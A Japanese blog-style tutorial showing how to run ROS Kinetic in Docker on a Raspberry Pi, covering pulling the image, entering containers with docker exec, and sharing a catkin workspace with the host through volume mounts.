$ docker run hello-world一瞬、「unable to find image 'hello-world:latest' locally」と表示されますが、ローカルにないDockerイメージからコンテナを作成しようとしたためです。ローカルにないイメージは自動的にダウンロードされます。
「Hello from Docker!」が表示されました。ROSを使ってみる
ROSイメージの利用
Getting started with ROS and Docker を参考にROSを動かしてみます。
docker pullコマンドでDockerイメージを持ってきます。ROSのDockerイメージはDockerHubに登録されています。
また、イメージ名の後ろにコロンとタグをつけることでROSのディストリビューションなどを指定することができます。今回はKineticを使ってみたいと思います。$ docker pull ros:kineticダウンロードが終わったら、
docker runコマンドでイメージからコンテナを起動します。-itオプションをつけると、起動と同時にコンテナ内に入ります。$ docker run -it ros:kineticコンテナ内で、
roscoreコマンドを実行してROSのmasterを起動します。roscore先ほど起動したコンテナの名前を取得します(
docker runを実行するとき--nameオプションでコンテナ名を指定しないと適当な名前に設定されるそうです)。新しいターミナルを立ち上げてdocker psコマンドを実行すれば確認できます(-lオプションをつけると最後に起動したコンテナのみを表示します)。$ docker ps -lコンテナ名が分かったので、新しいターミナルからコンテナ内に入ります。
docker execは指定したコマンドをコンテナ内で実行するコマンドですが、-itオプションをつけてbashを実行することで、コンテナ内に入ることができます。$ docker exec -it jolly_wing bash入った直後に
rostopic listを実行しようとすると、"bash: rostopic: command not found"のエラーになるので、先に以下のコマンドでROSの環境をセットアップします(もしくはsource /ros_entrypoint.shでもセットアップできるようです)。source /opt/ros/kinetic/setup.bashこうしてから
rostopic listを実行すると、次のようにトピックのリストが表示されます。コンテナから抜けるには、
exitコマンドを実行します。exitちなみに、
docker execした方のターミナルでexitコマンドを実行するとコンテナから出た後もコンテナは動いたままです。一方、docker runでコンテナを起動したターミナルでexitコマンドを実行すると、コンテナも停止します。
docker rmコマンドを使えばコンテナを削除できます。まず、現在のコンテナを確認します。docker psコマンドに-aオプションをつけると停止したコンテナも含めてすべてのコンテナの一覧が表示されます。$ docker ps -a$ docker rm jolly_wingコンテナが削除されました。
ワークスペースの作成
コンテナ内にROSのワークスペース(catkin_ws)を作り自作のROSパッケージを置きたいところですが、Dockerfile のベストプラクティスによるとコンテナはいつでも廃棄できるようにするべきらしく、ソースコードなどはコンテナ内に置かないようです。
Best practices for getting code into a containerを読む限り、外部のソースコードをコンテナ内に取り込む方法はいくつかあるようですが、とりあえず
docker runを実行する際に-vオプションを使うことで、ホスト側のディレクトリをコンテナと共有できるそうです。Docker HubのDeployment suggestionsにも、
-vオプションを使ってROSのログファイルをホスト側に残す方法が記載されていますので、これを参考にホスト側とコンテナ側で共有するワークスペースを作成します。
ホスト側で~/.rosディレクトリと~/catkin_ws/srcディレクトリを作ります。
$ mkdir ~/.ros $ mkdir -p ~/catkin_ws/src次のコマンドでコンテナを起動します。
-vの後に続く/home/pi/catkin_ws/がホスト側、:の後に続く/root/catkin_ws/```がコンテナ側のワークスペースのディレクトリです。$ docker run -it -v "/home/pi/.ros/:/root/.ros/" -v "/home/pi/catkin_ws/:/root/catkin_ws/" ros:kineticコンテナの中に入ったら、Creating a ROS Packageを参考にチュートリアル用のROSパッケージを作ります。
cd ~/catkin_ws/src catkin_create_pkg beginner_tutorials std_msgs rospy roscppパッケージを作成できたので、
catkin_makeでワークスペースをビルドします。cd ~/catkin_ws catkin_makeコンテナから抜けて、ホスト側のワークスペースにもROSパッケージとbuildディレクトリが追加されているか確認します。
これで、ホスト側のワークスペースにソースファイルを追加して編集すれば、再度
docker runを実行したときに、それをコンテナに取り込むことができます。おわりに
なんとかラズパイとDockerでROSが動くようにできました。少し手間がかかりますが、DockerfileからDockerイメージを作れるようになればいろいろ便利になりそうです。













